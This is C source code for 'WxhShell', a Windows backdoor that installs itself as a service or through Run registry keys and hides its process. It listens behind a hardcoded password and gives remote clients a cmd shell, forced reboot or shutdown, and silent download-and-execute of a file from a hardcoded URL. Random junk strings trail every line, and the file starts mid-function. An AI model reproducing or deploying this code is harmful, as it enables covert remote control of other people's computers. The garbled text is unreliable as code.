    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); {8,<ZZ_  
    if(Boot(SHUTDOWN)) 5(W"-A}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); YCe7<3>J4  
    else { TSAU?r\P  
    closesocket(wsh); ^=n+T7"J  
    ExitThread(0); @D-AO_  
    } GLn{s  
    break; i&njqK!wS  
    } >-_d CNZ  
  // 获取shell id<:p*  
  case 's': { BR^7_q4q  
    CmdShell(wsh); 7"7rmZ   
    closesocket(wsh); cYx4~V^  
    ExitThread(0); ^_5L"F]sP  
    break; ihh4pD27g  
  } Q9d`zR]  
  // 退出 MS(JR  
  case 'x': { k4qp u=@U  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); \Gm-MpW  
    CloseIt(wsh); %p^.\ch9  
    break; >e2<!#er|  
    } Eca\fkj  
  // 离开 )&era ` e[  
  case 'q': { Uie?9&3  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); -U<Upn)2  
    closesocket(wsh); e{;OSk`x  
    WSACleanup(); |9"p|6G?B  
    exit(1); 7&`}~$>}>e  
    break; +,:du*C  
        } c`lJu_  
  } (>mI'!4d  
  } t E` cau  
:Ih|en^w  
  // 提示信息 y@j,a  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ) xbO6V  
} ^mAYBOE  
  } ]0;864X0  
2j(h+?N7k  
  return; fgNU03jp^x  
} K.G$]H  
=. y*_Ja  
// shell模块句柄 HL/bS/KX  
int CmdShell(SOCKET sock) *Nyev]8  
{ ^qCkt1C-M  
STARTUPINFO si; LG~S8u  
ZeroMemory(&si,sizeof(si)); JKer//ng4  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; !R*-R.%  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Q^p|Ldj  
PROCESS_INFORMATION ProcessInfo; bX.ja;;   
char cmdline[]="cmd"; @i^~0A#q*  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); p^(&qk?ut  
  return 0; Hk>79};  
} v7%X@j]ji  
t9&c E:n  
// 自身启动模式 `cx]e  
int StartFromService(void) yNm:[bOER  
{ Z5c~^jL$-  
typedef struct /h v4x9  
{ k3+e;[My+  
  DWORD ExitStatus; Rwr 2gMt7  
  DWORD PebBaseAddress; )s1Ib4C  
  DWORD AffinityMask; K:' q>D@  
  DWORD BasePriority; }M1sksk5  
  ULONG UniqueProcessId; ZEYgK)^  
  ULONG InheritedFromUniqueProcessId; |F.)zC5{  
}   PROCESS_BASIC_INFORMATION; {]z4k[;.h  
,!V]jP)  
PROCNTQSIP NtQueryInformationProcess; @&D?e:|!U  
;> m"x  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; BmHwu{n'  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; e4~>G?rM_  
|QV!-LK  
  HANDLE             hProcess; LqdY Qd51  
  PROCESS_BASIC_INFORMATION pbi; j)t+jcMUI  
& c Ny  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Mv c`)_Md  
  if(NULL == hInst ) return 0; pfx3C*  
;['[?wk  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 0&ByEN9 9  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); @!&}}"<  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); *9)SmS s  
b3wM;jv  
  if (!NtQueryInformationProcess) return 0; {JV@"t-X3"  
"EU{8b  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); G/%iu;7ZCb  
  if(!hProcess) return 0; .I}:m%zv  
JbB}y'c4}=  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ' qdPw%d  
E~<`/s  
  CloseHandle(hProcess); IrMl:+t\  
RE.r4uOJg  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 9Lh|DK,nV/  
if(hProcess==NULL) return 0; Le"oAA#[  
dD<fn9t  
HMODULE hMod; TO2c"7td  
char procName[255]; v^ d]r Sm  
unsigned long cbNeeded; Jc)^49Rf  
U/lM\3v/e  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); nA?Hxos  
DO7W}WU  
  CloseHandle(hProcess); ~OePp a\  
u*  
if(strstr(procName,"services")) return 1; // 以服务启动 azjEq$<M  
y2O4I'/5<  
  return 0; // 注册表启动 (Qgde6  
} [![%9'+P  
kt4d; 4n  
// 主模块 fF*`'i=!  
int StartWxhshell(LPSTR lpCmdLine) =h(W4scgqX  
{ h;5LgAY|v  
  SOCKET wsl; qo)?8kx>l  
BOOL val=TRUE; 3D9 !M-  
  int port=0; Pmi#TW3X  
  struct sockaddr_in door; = 07Gy,=i  
(;VVC Aoy  
  if(wscfg.ws_autoins) Install(); `Q+moX  
&'l>rD^o  
port=atoi(lpCmdLine); -T6(hT\  
CIjZG?A  
if(port<=0) port=wscfg.ws_port; ND<!4!R^  
8@NH%zWBp  
  WSADATA data; :Q+5,v-c  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; I ];M7  
ylKmj]A  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   9+,R`v  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 1Y_w5dU  
  door.sin_family = AF_INET; "^I mb,  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Nr2C@FU:0  
  door.sin_port = htons(port); RFh"&0[  
zo;^m|  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { J8y0d1SG  
closesocket(wsl); \, !Q Jp4  
return 1; \.XLcz  
} Q4t(@0e}  
8 i&_Jgmr  
  if(listen(wsl,2) == INVALID_SOCKET) { Y-ux7F{=z  
closesocket(wsl); ]CU]pK?nq  
return 1; >r &;3:"  
} 9;yn}\N `  
  Wxhshell(wsl); }AZc8o-  
  WSACleanup(); 9;F bnp'  
TwyM\9l7  
return 0; 'gQidf  
EL3|u64GO  
} p2PY@d}}.  
q.Nweu!jQ  
// 以NT服务方式启动 tU"raP^ =  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 4[ryKPa,  
{ {%w!@-  
DWORD   status = 0; co _oMc  
  DWORD   specificError = 0xfffffff; !~_zm*CqbZ  
y80ykGPT\&  
  serviceStatus.dwServiceType     = SERVICE_WIN32; y{q*s8NY  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; zU6a't P  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; j QU"Ved  
  serviceStatus.dwWin32ExitCode     = 0; K!D o8|  
  serviceStatus.dwServiceSpecificExitCode = 0; P?BGBbC  
  serviceStatus.dwCheckPoint       = 0; {f9{8-W <u  
  serviceStatus.dwWaitHint       = 0; 0oy-os  
RkF D*E$  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 3p?KU-  
  if (hServiceStatusHandle==0) return;  2A4FaBq"  
2?@j~I=s2h  
status = GetLastError(); &Bx J  
  if (status!=NO_ERROR) -Xz?s  
{ OT %nrzP  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 1Xy]D  
    serviceStatus.dwCheckPoint       = 0; n(~\l#o@  
    serviceStatus.dwWaitHint       = 0; L.6WiVP)  
    serviceStatus.dwWin32ExitCode     = status; doHF|<s  
    serviceStatus.dwServiceSpecificExitCode = specificError; l0*Gb  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ? _\$  
    return; (3\Xy   
  } SFH-^ly&D  
DaNW~rd{  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; wo5ZxM  
  serviceStatus.dwCheckPoint       = 0; ]IJRnVp%  
  serviceStatus.dwWaitHint       = 0; ^"8G`B$r  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); T~sTBGcv  
} ]j>i.5  
OEdJc\n_R  
// 处理NT服务事件,比如:启动、停止 ujW1+Oj=~  
VOID WINAPI NTServiceHandler(DWORD fdwControl) "S~_[/q  
{ (_* wt]"'  
switch(fdwControl) A`O<6   
{ +.[\g|G  
case SERVICE_CONTROL_STOP: _9:@Vl]Q@  
  serviceStatus.dwWin32ExitCode = 0; Vbh6HqAHxJ  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; `,wu}F85  
  serviceStatus.dwCheckPoint   = 0; PXP`ZLF  
  serviceStatus.dwWaitHint     = 0; ')+0nPV  
  { h%d^Gq~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);  &O[s:  
  } 7#;vG>]  
  return; X fz`^x>M  
case SERVICE_CONTROL_PAUSE: E04l|   
  serviceStatus.dwCurrentState = SERVICE_PAUSED; {TXOQ>gY  
  break; $#o1MX  
case SERVICE_CONTROL_CONTINUE: mxrG)n6Y  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; vUQFQ  
  break; 7J>Gd  
case SERVICE_CONTROL_INTERROGATE: eX&Gw{U-f  
  break; ~E4"}n[3A#  
}; oN[Th  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >=ot8%.!,B  
} 2k7bK6=nm  
~7quTp)  
// 标准应用程序主函数 Vu0 KtG9  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) B~r}c4R{7  
{  ]^"k8v/  
x:K?\<  
// 获取操作系统版本 >L((2wfiN  
OsIsNt=GetOsVer(); cu#e38M&eE  
GetModuleFileName(NULL,ExeFile,MAX_PATH); bC@k>yC-  
z?8~[h{i%  
  // 从命令行安装 x_@i(oQ:_  
  if(strpbrk(lpCmdLine,"iI")) Install(); gLj?Ys  
a7H0!9^h  
  // 下载执行文件 zxD,E@lF  
if(wscfg.ws_downexe) { i~=s^8n`l  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) l52a\/  
  WinExec(wscfg.ws_filenam,SW_HIDE); jSt mS2n  
} k D~uGA  
\hk/1/siyF  
if(!OsIsNt) { [2$4|;7  
// 如果时win9x,隐藏进程并且设置为注册表启动 /<)-q-W;  
HideProc(); n1(?|aJ#1  
StartWxhshell(lpCmdLine); (VHND%7P  
} ty1fcdFZM  
else D>ai.T%n  
  if(StartFromService()) g: %9jf  
  // 以服务方式启动 "#^MUQ!a  
  StartServiceCtrlDispatcher(DispatchTable); Dxx;v.$  
else 7r{qJ7$%  
  // 普通方式启动 kL{;.WsB  
  StartWxhshell(lpCmdLine); 4dhqLVgL{  
^kj=<+ v#  
return 0; GA^mgm"O  
} )jW(6  
/dHs &SU,  
C77D{@SM  
#*IVlchA"B  
=========================================== ;cP8?U  
C;1PsSE+A  
u,i]a#K  
4~?2wvz G4  
.{dE}2^  
"mj^+u-  
" pV`$7^#X  
~2%3FV^  
#include <stdio.h> 2JO-0j.  
#include <string.h> F+=urc>w  
#include <windows.h> P9#)~Zm}]  
#include <winsock2.h> m Pt)pn!rA  
#include <winsvc.h> UKB_Yy^Y  
#include <urlmon.h> P 15:,9D  
G\H q/4  
#pragma comment (lib, "Ws2_32.lib") vP]9;mQ  
#pragma comment (lib, "urlmon.lib") (}H ,ng'4  
@h-T:$  
#define MAX_USER   100 // 最大客户端连接数 6TFo|z!C  
#define BUF_SOCK   200 // sock buffer u]vPy ria  
#define KEY_BUFF   255 // 输入 buffer k'13f,o}  
_\AUQ{  
#define REBOOT     0   // 重启 nsJ:Osq|  
#define SHUTDOWN   1   // 关机 ;x[pM_  
")\aJ8  
#define DEF_PORT   5000 // 监听端口 W}gVIfe  
lJ/6-dP  
#define REG_LEN     16   // 注册表键长度 ~Yk"Hos  
#define SVC_LEN     80   // NT服务名长度 +mWjBY  
*re 44  
// 从dll定义API  Dt}dp_  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); F?*k}]Gi  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); G\rj?%  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); rZC3\,W  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ;w6s<a@Zh  
d.}}s$Q  
// wxhshell配置信息 jn=ug42d  
struct WSCFG { Lt<oi8'N  
  int ws_port;         // 监听端口 3z,2utH  
  char ws_passstr[REG_LEN]; // 口令 mCk5B*Jy  
  int ws_autoins;       // 安装标记, 1=yes 0=no E2:D(7(;l  
  char ws_regname[REG_LEN]; // 注册表键名 qzdaN5  
  char ws_svcname[REG_LEN]; // 服务名 <c%n?QK{  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ;~ee[W$1  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 /Dd\PjIH{  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 pcpxe&S  
int ws_downexe;       // 下载执行标记, 1=yes 0=no cIZc:   
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" FLbZ9pX}  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Baq ~}B<  
?[SVqj2-  
}; ./iXyta  
9eSRCLhgD  
// default Wxhshell configuration /RF%1!M K  
struct WSCFG wscfg={DEF_PORT, 1M+Zkak7p  
    "xuhuanlingzhe", NhlJ3/J j  
    1, 5ZsDgOeY  
    "Wxhshell", Sr7@buF  
    "Wxhshell", m!!;/e?yx  
            "WxhShell Service", ZQLB`n @  
    "Wrsky Windows CmdShell Service", {5x>y:v  
    "Please Input Your Password: ", Y@:3 B:m#  
  1, m.1 46  
  "http://www.wrsky.com/wxhshell.exe", $MT}l  
  "Wxhshell.exe" kgc.8  
    }; %F3}/2  
 sL ~,  
// 消息定义模块 Ar~{= X  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 32KR--mn%  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 9S"N4c>  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Gc}0]!nrW9  
char *msg_ws_ext="\n\rExit."; 1Zq   
char *msg_ws_end="\n\rQuit."; 7K !GK  
char *msg_ws_boot="\n\rReboot..."; lm &^tjx  
char *msg_ws_poff="\n\rShutdown..."; +3?`M<L0  
char *msg_ws_down="\n\rSave to "; R#fy60  
;y>'yq}  
char *msg_ws_err="\n\rErr!"; Jk~UEqr+  
char *msg_ws_ok="\n\rOK!"; >Jiij  
jaa/k@OG  
char ExeFile[MAX_PATH]; 8l?w=)Qy  
int nUser = 0; /C7svH  
HANDLE handles[MAX_USER]; Ns~ g+C9  
int OsIsNt; G;9|%yvd8  
{.#j1r4J`  
SERVICE_STATUS       serviceStatus; !G>(j   
SERVICE_STATUS_HANDLE   hServiceStatusHandle; C zpsqTQ  
B%(K0`G#X  
// 函数声明 u;(K34!)  
int Install(void); VS%@)sI|Z  
int Uninstall(void); hs,5LV)|y  
int DownloadFile(char *sURL, SOCKET wsh); r&/D~g\"|[  
int Boot(int flag); Si[eAAd' :  
void HideProc(void); $l43>e{E  
int GetOsVer(void); 9dw0<qw1%  
int Wxhshell(SOCKET wsl); jqqaw  
void TalkWithClient(void *cs); jQ^Yj"6  
int CmdShell(SOCKET sock); :%>oe> _"  
int StartFromService(void); yI *M[0  
int StartWxhshell(LPSTR lpCmdLine); q|/!0MU"  
{V=vn L--  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); =_pmy>_z  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); .Wh6(LDY(  
Q%$i@JH`m  
// 数据结构和表定义 M3PVixli3  
SERVICE_TABLE_ENTRY DispatchTable[] = }kv)IJ  
{ Tu'E{Hw  
{wscfg.ws_svcname, NTServiceMain}, "1CGO@AXS  
{NULL, NULL} `^`9{@~  
}; 2}>go^#O/w  
}o{!}g9  
// 自我安装 .8%vd  
int Install(void) ?^eJ:  
{ f5N<3m=  
  char svExeFile[MAX_PATH]; w[M5M2CF  
  HKEY key; Hq79/ wKj  
  strcpy(svExeFile,ExeFile); QZ:v  
;7)OSGR  
// 如果是win9x系统,修改注册表设为自启动 T+3k$G[e/  
if(!OsIsNt) { 3me<~u  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $<14JEU  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); XuA0.b%  
  RegCloseKey(key); e ^-3etx  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ul}4p{ m[  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); vN' VDvVM  
  RegCloseKey(key); O} (E(v  
  return 0; J1& A,Gb  
    } kS[Dy$AB/2  
  } \(wn@/yP'  
} 1.uUMW  
else { KgL<}=S  
+i2YX7Of  
// 如果是NT以上系统,安装为系统服务 rR3m' [  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); pEJ#ad  
if (schSCManager!=0) TIKEg10I  
{ fWqv3nY^  
  SC_HANDLE schService = CreateService <b3x(/  
  ( WNl&v]   
  schSCManager, \;'_|bu3.  
  wscfg.ws_svcname, ;}$Z 80  
  wscfg.ws_svcdisp, k`{RXx  
  SERVICE_ALL_ACCESS, .59KE]u  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , K%kXS  
  SERVICE_AUTO_START, aViJ   
  SERVICE_ERROR_NORMAL, J,.j_ii`!  
  svExeFile, WFQ*s4 R(  
  NULL, q.U*X5  
  NULL, !4i,%Z& 6  
  NULL, b*@&c9I;q  
  NULL, 0@JilGk1u  
  NULL q+r ` e  
  ); $(Z]TS$M&  
  if (schService!=0) |;X?">7NW  
  { cA2^5'$$  
  CloseServiceHandle(schService); s0_-1VU  
  CloseServiceHandle(schSCManager); ab8oMi`z  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); m*Q[lr=  
  strcat(svExeFile,wscfg.ws_svcname); Q@ykQ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { hg$qb eUl  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ecM4]U  
  RegCloseKey(key); "``W6W-(  
  return 0; ^uKnP>*l  
    } Fc34Y0_A  
  } Q:'qw#P/C  
  CloseServiceHandle(schSCManager); ]Y?{$M G  
} bS_y_ 9K  
} uEc0/ a :.  
^aGZJiyJ  
return 1; 3P%w-qT!N  
} |G|*  
=$&7IQ?  
// 自我卸载 \7OJN ~&<  
int Uninstall(void) )< &B&Hp  
{ +,ZU TG  
  HKEY key; H5 p}Le  
V)_H E  
if(!OsIsNt) { BnKP7e  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ]}UeuF\  
  RegDeleteValue(key,wscfg.ws_regname); u=_bM2;~Z  
  RegCloseKey(key); 5bu[}mJ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .5jnKU8NF  
  RegDeleteValue(key,wscfg.ws_regname); 7.w *+Z>z  
  RegCloseKey(key); ] P:NnKgK  
  return 0; HPu/. oE  
  } krEH`f  
} L:|X/c9r[  
} EqNz L*E  
else { ]Ct`4pA  
yv6Zo0s<J  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); mq|A8>g  
if (schSCManager!=0) BK`Q)[  
{ 0~PXa(!^K  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); I?^Q084  
  if (schService!=0) Uxj<x`<1x  
  { %J/fg<W1  
  if(DeleteService(schService)!=0) { "z{_hp{T^  
  CloseServiceHandle(schService); ^g}gT-l%  
  CloseServiceHandle(schSCManager); :,xyVb+  
  return 0; ^P3g9'WK  
  } }a #b$]Y  
  CloseServiceHandle(schService); .!7Fe)(x  
  } $M}k%Z  
  CloseServiceHandle(schSCManager); Ak %no3:9  
} =hZ&66  
} ft~|  
CPF>^Mp#  
return 1; xdFP$Y~ogy  
} UY}9  
i?&4SG+2~K  
// 从指定url下载文件 rzYobOKd#  
int DownloadFile(char *sURL, SOCKET wsh) XudH  
{ FOlA* U4U  
  HRESULT hr; yi AG'[  
char seps[]= "/"; Zh@4_Z9n!  
char *token; 1`2);b{@  
char *file; Tb!B!m  
char myURL[MAX_PATH]; *783xEF>f  
char myFILE[MAX_PATH]; O&rD4#  
q>D4ma^  
strcpy(myURL,sURL); &F<J#cfe8  
  token=strtok(myURL,seps); " kE:T.,  
  while(token!=NULL) Tv*1q.MB  
  { &2P:A  
    file=token; BM=V,BZy  
  token=strtok(NULL,seps); P0`>{!r6@  
  } QXIbFv  
)DklOEO  
GetCurrentDirectory(MAX_PATH,myFILE); X1 0"G~0  
strcat(myFILE, "\\"); )$lSG}WD  
strcat(myFILE, file); @Le ^-v4  
  send(wsh,myFILE,strlen(myFILE),0); n!CP_  
send(wsh,"...",3,0); : e0R7sj  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ]sm0E@1  
  if(hr==S_OK) Y7b,td1  
return 0; ;S{Ld1;  
else O>b&-U"R  
return 1; i SAidK,  
\U<F\i  
} k Nf!j  
^t^<KL;  
// 系统电源模块 Un8#f+odR  
int Boot(int flag) :) Fp B"  
{ YQB]t=Ha  
  HANDLE hToken; Q J(e*/  
  TOKEN_PRIVILEGES tkp; YfrTvKX  
4? /ot;>2  
  if(OsIsNt) { 1=/MT#d^?  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 5w,YBUp  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); w7`@=kVx  
    tkp.PrivilegeCount = 1; [# tT o;q  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; pT_e;,KW U  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); :(S/$^U  
if(flag==REBOOT) { RB$ 8^#  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) L[QI 5N  
  return 0; "PDSqYA  
} +n8I(l=  
else { 9rf|r 3  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) WW8L~4Zy  
  return 0; ]'  "^M  
} 8^~ZNU-~v  
  } kw-Kx4 )  
  else { 33v%e  
if(flag==REBOOT) { F|n$0vQ*  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 9bzYADLI  
  return 0; YiI:uG!|D  
} v&CO#vK5.  
else { b3 %&   
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Ph! KL\  
  return 0; G(Idiw#WT  
} pRk'GR]`  
} _uy5?auQ  
''\cBM!  
return 1; 5f^`4 pT  
} m|?" k38  
5@%=LPV  
// win9x进程隐藏模块 4~pO>6P   
void HideProc(void) ?GMeA}j  
{ $Zu4tuXA  
7PQj7&m  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); g)r ,q&*  
  if ( hKernel != NULL ) )/N Xh'  
  { xdTzG4  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); U0|j^.)  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); m?R+Z6c[  
    FreeLibrary(hKernel); U}vtVvx  
  } (EF$^FYPK  
1rm$@L  
return; omUl2C  
} ;ZqD60%\  
CsST-qxg  
// 获取操作系统版本 a\.OL}"   
int GetOsVer(void) 8`LLHX1|  
{ !f]3Riw-=,  
  OSVERSIONINFO winfo; J\,e/{,X  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); hoD[wAC  
  GetVersionEx(&winfo); 5-QvQ&eH.  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) raI~BIfe  
  return 1; uwS'*5tU  
  else $Ln2O#  
  return 0; j"$b%|  
} ?[>BssW  
:#!F 7u  
// 客户端句柄模块 A&_i]o  
int Wxhshell(SOCKET wsl) t;a}p_>  
{ s7)# NT2  
  SOCKET wsh; 8-g$HXqs_#  
  struct sockaddr_in client; xzf)_ <  
  DWORD myID; ]I*#R9  
|sZ9 /G7  
  while(nUser<MAX_USER)  q&Ua(I  
{ J`D<  
  int nSize=sizeof(client); V:" \(Y  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); LM`tNZ1Fc!  
  if(wsh==INVALID_SOCKET) return 1; cF<DUr)Ve  
pcxl2I  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ()IgSj?,  
if(handles[nUser]==0) #( Yb lY  
  closesocket(wsh); qP.VK?jF|  
else );.<Yf{c  
  nUser++; qaSv]k.  
  } s].Cx4VQ  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 0#[Nfe*  
[.#$hOsNR  
  return 0; 'w$we6f  
} b8-^wJH!  
1nM?>j%k  
// 关闭 socket j~j V`>A  
void CloseIt(SOCKET wsh) ne~#{q  
{ GH)+yD[o  
closesocket(wsh); H(ftOd.y  
nUser--; %KVRiX  
ExitThread(0); 5>k~yaju/  
} <HX-qNA?  
[(^''*7r+T  
// 客户端请求句柄 $/(/v?3][e  
void TalkWithClient(void *cs) E6IL,Iq9  
{ WAXrA$:3J  
21J82M  
  SOCKET wsh=(SOCKET)cs; !m.')\4<  
  char pwd[SVC_LEN]; 2!& ;ZcT,  
  char cmd[KEY_BUFF]; K0!#l Br  
char chr[1]; C&K(({5O  
int i,j; =|t1eSzc  
JU`'?b  
  while (nUser < MAX_USER) { XXdMppoR  
I Y-5/  
if(wscfg.ws_passstr) { :95_W/l  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -8J@r2\  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); mp$II?hZ*  
  //ZeroMemory(pwd,KEY_BUFF); Rn ^N+3o'M  
      i=0; #+Gs{iXr  
  while(i<SVC_LEN) { t $ ~:C  
;."{0gq  
  // 设置超时 ,3TD $2};.  
  fd_set FdRead; kR|DzB7  
  struct timeval TimeOut; '`VO@a  
  FD_ZERO(&FdRead); ;iI2K/ 3  
  FD_SET(wsh,&FdRead); /|^^v DL  
  TimeOut.tv_sec=8; Jx[e{o)o  
  TimeOut.tv_usec=0; )uJ`E8>-  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Z`h_oK#y15  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 20xGj?M  
x-k /rZ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @?NLME  
  pwd=chr[0]; NNV.x7  
  if(chr[0]==0xd || chr[0]==0xa) { Z s!q#qM  
  pwd=0; #Yb9w3N  
  break; *wl_8Sis}  
  } r,@|Snv)  
  i++; t#Yh!L6>  
    } S^_yiV S  
QLLV OJi  
  // 如果是非法用户,关闭 socket fO|u(e  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); XSIO0ep  
} Ppn ZlGQ6  
E)SOcM)  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); $w}aX0dK&  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); % ieAY-<"  
Z.f<6<gF  
while(1) { e/l?|+m 6  
9GOyVKUv  
  ZeroMemory(cmd,KEY_BUFF); _C\ d^a (  
o[*ih\d  
      // 自动支持客户端 telnet标准   eh=bClk  
  j=0; nr%^:u  
  while(j<KEY_BUFF) { q"vT]=Y}:  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); h v+i{Z9!]  
  cmd[j]=chr[0]; 438> )=  
  if(chr[0]==0xa || chr[0]==0xd) { _e^V\O>  
  cmd[j]=0; O$ oN1  
  break; ;L{y3CWT  
  } $9b6,Y_-  
  j++; Yhdt8[ 2  
    } :njUaMFoMA  
k.hSN8  
  // 下载文件 gKEvgXOj  
  if(strstr(cmd,"http://")) { V3nv5/6  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 7[,f;zG  
  if(DownloadFile(cmd,wsh)) unB "dE  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); !kYmrj**  
  else X*;p;N  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1%{(?uz9  
  } [r~l O@  
  else { 3@A k6Uh  
